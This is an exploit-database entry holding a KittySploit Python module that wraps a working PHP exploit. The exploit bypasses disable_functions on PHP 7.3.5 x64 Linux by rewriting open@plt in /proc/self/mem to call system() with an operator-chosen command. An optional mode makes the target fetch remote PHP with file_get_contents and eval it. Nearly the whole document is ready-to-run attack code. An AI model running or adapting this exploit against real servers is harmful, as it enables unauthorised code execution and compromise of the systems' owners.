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PHP procfs disable_functions bypass

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
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PHP procfs disable_functions bypass allows code execution.

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from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP procfs disable_functions bypass",
		"description": "PHP 7.3.5 procfs disable_functions bypass",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "command system to send", True)
	start_web_delivery = OptBool(False, "start web delivery", False)
	
	def check(self):
		"""Check if target is vulnerable"""
		return True
		
	def run(self):
		# Use raw string to preserve PHP braces, then replace command placeholder
		data = r"""
function packlli($value) {{
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}}

function unp($value) {{
    return hexdec(bin2hex(strrev($value)));
}}

function parseelf($bin_ver, $rela = false) {{   
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    system("COMMAND_PLACEHOLDER");
    exit;
}
echo "[-] Write failed. Exiting\n";
		"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			host, port, httpd = self.web_delivery(data)
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(self.cmd_execute(data))
		return True

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02 Aug 2026 20:51Current
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